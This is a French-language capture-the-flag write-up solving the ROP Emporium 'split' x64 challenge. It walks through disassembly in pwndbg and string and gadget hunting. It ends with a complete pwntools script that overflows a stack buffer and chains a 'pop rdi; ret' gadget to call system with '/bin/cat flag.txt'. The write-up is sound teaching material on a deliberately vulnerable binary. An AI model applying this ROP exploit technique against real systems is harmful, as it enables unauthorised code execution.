Note

Deuxième exercice de ROPEmporium, un tout petit peu plus complexe que le précédent mais il reste très accessible. Je vais essayer une fois de plus d’expliquer le plus clairement possible ce que j’ai fait pour le réussir. Si j’ai fait des erreurs, n’hésitez pas à me contacter sur discord pour me le dire.

Si vous ne comprenez pas quelque chose, je vous invite à regarder la série dans l’ordre.

File information

Avant de commencer à regarder dans l’executable, il faut savoir à quoi on s’attaque, on va utiliser file pour avoir des informations sur le fichier, puis checksec pour voir les éventuelles sécuritées avec lesquelles il a été compilé

file split

split: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=98755e64e1d0c1bff48fccae1dca9ee9e3c609e2, not stripped

On va donc s’attaquer à un executable en 64bit, linké dynamiquement et qui n’est pas strippé

Maintenant le checksec

[*] '/home/conflict/ropemporium/split_x64/split'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Cette fois-ci, NX est activé, ce qui veut dire qu’on ne pourra pas utiliser de shellcode.

Exploitation

On va run l’executable et voir ce qu’il se passe

2023-01-14-140834_657x666_scrot

Contrairement au précédent, il ne nous donne aucune information sur son fonctionnement. En revanche, on voit que si on entre un nombre de bytes élevé dans l’input, il segfault, ce qui veut dire qu’on a commencé à réecrire la sauvegarde de rip

C’est bon signe, on a déjà trouvé notre point d’entrée. On va maintenant désassembler l’executable avec pwndbg pour essayer de comprendre plus en détail ce qu’il fait

pwndbg> disass main
Dump of assembler code for function main:
   0x0000000000400697 <+0>: push   rbp
   0x0000000000400698 <+1>: mov    rbp,rsp
   0x000000000040069b <+4>: mov    rax,QWORD PTR [rip+0x2009d6]        # 0x601078 <stdout@@GLIBC_2.2.5>
   0x00000000004006a2 <+11>:  mov    ecx,0x0
   0x00000000004006a7 <+16>:  mov    edx,0x2
   0x00000000004006ac <+21>:  mov    esi,0x0
   0x00000000004006b1 <+26>:  mov    rdi,rax
   0x00000000004006b4 <+29>:  call   0x4005a0 <setvbuf@plt>
   0x00000000004006b9 <+34>:  mov    edi,0x4007e8
   0x00000000004006be <+39>:  call   0x400550 <puts@plt>
   0x00000000004006c3 <+44>:  mov    edi,0x4007fe
   0x00000000004006c8 <+49>:  call   0x400550 <puts@plt>
   0x00000000004006cd <+54>:  mov    eax,0x0
   0x00000000004006d2 <+59>:  call   0x4006e8 <pwnme>
   0x00000000004006d7 <+64>:  mov    edi,0x400806
   0x00000000004006dc <+69>:  call   0x400550 <puts@plt>
   0x00000000004006e1 <+74>:  mov    eax,0x0
   0x00000000004006e6 <+79>:  pop    rbp
   0x00000000004006e7 <+80>:  ret    
End of assembler dump.

On voit que le main fait appel à une fonction appelée pwnme, on va la désassembler elle aussi et voir ce qu’elle fait

pwndbg> disass pwnme
Dump of assembler code for function pwnme:
   0x00000000004006e8 <+0>: push   rbp
   0x00000000004006e9 <+1>: mov    rbp,rsp
   0x00000000004006ec <+4>: sub    rsp,0x20
   0x00000000004006f0 <+8>: lea    rax,[rbp-0x20]
   0x00000000004006f4 <+12>:  mov    edx,0x20
   0x00000000004006f9 <+17>:  mov    esi,0x0
   0x00000000004006fe <+22>:  mov    rdi,rax
   0x0000000000400701 <+25>:  call   0x400580 <memset@plt>
   0x0000000000400706 <+30>:  mov    edi,0x400810
   0x000000000040070b <+35>:  call   0x400550 <puts@plt>
   0x0000000000400710 <+40>:  mov    edi,0x40083c
   0x0000000000400715 <+45>:  mov    eax,0x0
   0x000000000040071a <+50>:  call   0x400570 <printf@plt>
   0x000000000040071f <+55>:  lea    rax,[rbp-0x20]
   0x0000000000400723 <+59>:  mov    edx,0x60
   0x0000000000400728 <+64>:  mov    rsi,rax
   0x000000000040072b <+67>:  mov    edi,0x0
   0x0000000000400730 <+72>:  call   0x400590 <read@plt>
   0x0000000000400735 <+77>:  mov    edi,0x40083f
   0x000000000040073a <+82>:  call   0x400550 <puts@plt>
   0x000000000040073f <+87>:  nop
   0x0000000000400740 <+88>:  leave  
   0x0000000000400741 <+89>:  ret    
End of assembler dump.

On peut voir qu’il lit 96 (0x60) bytes d’input via la fonction read(), et qu’il les stocke dans un buffer de 32 (0x20) bytes

   0x000000000040071f <+55>:  lea    rax,[rbp-0x20]
   0x0000000000400723 <+59>:  mov    edx,0x60
   0x0000000000400728 <+64>:  mov    rsi,rax
   0x000000000040072b <+67>:  mov    edi,0x0
   0x0000000000400730 <+72>:  call   0x400590 <read@plt>

Voici donc à quoi va ressembler le début de notre exploit:

from pwn import *

context.binary = binary = ELF('./split')
p = process()

p.recv()

padding = b"A"*0x20
rbp = b"B"*0x8

payload = padding + rbp


p.sendline(padding + rbp)

Evidemment, cet exploit ne fait rien, mais nous savons déjà quelle taille notre padding va faire, et on peut à présent réecrire la sauvegarde de rip. La prochaine étape est de savoir quoi mettre dans ce registre, on va commencer par chercher si il y a des fonctions intéressantes (toujours avec pwndbg)

pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x0000000000400528  _init
0x0000000000400550  puts@plt
0x0000000000400560  system@plt
0x0000000000400570  printf@plt
0x0000000000400580  memset@plt
0x0000000000400590  read@plt
0x00000000004005a0  setvbuf@plt
0x00000000004005b0  _start
0x00000000004005e0  _dl_relocate_static_pie
0x00000000004005f0  deregister_tm_clones
0x0000000000400620  register_tm_clones
0x0000000000400660  __do_global_dtors_aux
0x0000000000400690  frame_dummy
0x0000000000400697  main
0x00000000004006e8  pwnme
0x0000000000400742  usefulFunction
0x0000000000400760  __libc_csu_init
0x00000000004007d0  __libc_csu_fini
0x00000000004007d4  _fini

On voit une fonction usefulFunction située à 0x00400742. Voyons ce qu’elle fait en la désassemblant:

pwndbg> disass usefulFunction
Dump of assembler code for function usefulFunction:
   0x0000000000400742 <+0>: push   rbp
   0x0000000000400743 <+1>: mov    rbp,rsp
   0x0000000000400746 <+4>: mov    edi,0x40084a
   0x000000000040074b <+9>: call   0x400560 <system@plt>
   0x0000000000400750 <+14>:  nop
   0x0000000000400751 <+15>:  pop    rbp
   0x0000000000400752 <+16>:  ret    
End of assembler dump.

Elle fait donc appel à system, en lui passant un argument situé à l’adresse 0x40084a, voyons voir à quoi elle correspond

pwndbg> x/s 0x40084a
0x40084a: "/bin/ls"

Cette fonction va donc éxecuter la commande ls via system, pas très utile… En revanche, on va pouvoir utiliser l’adresse de l’appel de la fonction system plus tard, alors gardons la de côté (0x0040074b)

Maintenant qu’on va pouvoir appeller system, il faut trouver un string qu’on va lui donner en argument, de préférence soit un /bin/sh pour avoir un shell, ou un /bin/cat flag.txt pour directement lire le flag. Regardons la liste des strings de l’executable

strings -t x split                                                                                                       ✔ ╱ took 6s  ╱ at 15:21:31  
    238 /lib64/ld-linux-x86-64.so.2
    3b1 libc.so.6
    3bb puts
    3c0 printf
    3c7 memset
    3ce read
    3d3 stdout
    3da system
    3e1 setvbuf
    3e9 __libc_start_main
    3fb GLIBC_2.2.5
    407 __gmon_start__
    760 AWAVI
    767 AUATL
    7ba []A\A]A^A_
    7e8 split by ROP Emporium
    7fe x86_64
    807 Exiting
    810 Contriving a reason to ask user for data...
    83f Thank you!
    84a /bin/ls
    917 ;*3$"
   1060 /bin/cat flag.txt
   1072 GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
   1731 crtstuff.c
   173c deregister_tm_clones
   1751 __do_global_dtors_aux
   1767 completed.7698
   1776 __do_global_dtors_aux_fini_array_entry
   179d frame_dummy
   17a9 __frame_dummy_init_array_entry
   17c8 split.c
   17d0 pwnme
   17d6 usefulFunction
   17e5 __FRAME_END__
   17f3 __init_array_end
   1804 _DYNAMIC
   180d __init_array_start
   1820 __GNU_EH_FRAME_HDR
   1833 _GLOBAL_OFFSET_TABLE_
   1849 __libc_csu_fini
   1859 stdout@@GLIBC_2.2.5
   186d puts@@GLIBC_2.2.5
   187f _edata
   1886 system@@GLIBC_2.2.5
   189a printf@@GLIBC_2.2.5
   18ae memset@@GLIBC_2.2.5
   18c2 read@@GLIBC_2.2.5
   18d4 __libc_start_main@@GLIBC_2.2.5
   18f3 __data_start
   1900 __gmon_start__
   190f __dso_handle
   191c _IO_stdin_used
   192b usefulString
   1938 __libc_csu_init
   1948 _dl_relocate_static_pie
   1960 __bss_start
   196c main
   1971 setvbuf@@GLIBC_2.2.5
   1986 __TMC_END__
   1993 .symtab
   199b .strtab
   19a3 .shstrtab
   19ad .interp
   19b5 .note.ABI-tag
   19c3 .note.gnu.build-id
   19d6 .gnu.hash
   19e0 .dynsym
   19e8 .dynstr
   19f0 .gnu.version
   19fd .gnu.version_r
   1a0c .rela.dyn
   1a16 .rela.plt
   1a20 .init
   1a26 .text
   1a2c .fini
   1a32 .rodata
   1a3a .eh_frame_hdr
   1a48 .eh_frame
   1a52 .init_array
   1a5e .fini_array
   1a6a .dynamic
   1a73 .got
   1a78 .got.plt
   1a81 .data
   1a87 .bss
   1a8c .comment

On voit un /bin/cat flag.txt situé à l’offset 1060. C’est le string qu’on va passer comme argument à system, mais pour ça, il va nous falloir son adresse. Puisque c’est un string, il est situé dans la section .data. Essayons de trouver où elle se situe avec pwndbg. Pour ce faire, on peut utiliser la commande readelf, puis grep .data

readelf -s split | grep .data

    15: 00000000004007e0     0 SECTION LOCAL  DEFAULT   15 .rodata
    23: 0000000000601050     0 SECTION LOCAL  DEFAULT   23 .data
    47: 0000000000601050     0 NOTYPE  WEAK   DEFAULT   23 data_start
    49: 0000000000601072     0 NOTYPE  GLOBAL DEFAULT   23 _edata
    56: 0000000000601050     0 NOTYPE  GLOBAL DEFAULT   23 __data_start

On voit que le début de notre section .data se trouve à l’adresse 0x601050. Notre offset pour /bin/cat flag.txt était 1060, donc son adresse est 0x600000+0x1060 soit 0x601060

On peut vérifier que cette adresse est correcte avec pwndbg

pwndbg> x/s 0x601060
0x601060 <usefulString>:  "/bin/cat flag.txt"

Parfait, c’est bien l’adresse de notre /bin/cat flag.txt.

Il nous manque à présent une dernière chose: un gadget pop rdi; ret.

Dans les architectures x64, les arguments des fonctions passent par des registres. Par exemple, quand la fonction system va être appelée, elle va aller chercher son premier argument dans le registre rdi.

Pour trouver ce gadget, on peut utiliser ROPGadget:

ROPgadget --binary split | grep "pop rdi"
0x00000000004007c3 : pop rdi ; ret

Maintenant qu’on a notre gadget, récapitulons:

  • Avec un padding de 40 bytes, on commence à réecrire la sauvegarde de rip (instruction pointer)
  • On peut mettre un pointeur vers /bin/cat flag.txt dans rdi grâce à notre gadget pop rdi; ret
  • On peut appeller la fonction system depuis son adresse puisque la protection PIE n’est pas activée

Si PIE avait été activé, nous n’aurions pas pu prendre l’adresse de la fonction system puisqu’elle aurait changé entre chaque exécution

Final Payload

Complétons notre exploit

from pwn import *

context.binary = binary = ELF('./split', checksec=False)
p = process()

p.recv()

padding = b"A"*0x20
rbp = b"B"*0x8
pop_rdi_ret = p64(0x004007c3)
cat_flag = p64(0x601060)
system = p64(0x0040074b)

payload = padding + rbp + pop_rdi_ret + cat_flag + system

p.sendline(payload)

print("Flag:",p.recvall().split(b"\n")[1].decode('utf-8'))

Et maintenant, on le lance:

2023-01-14-155456_1115x137_scrot

On a notre flag, gg !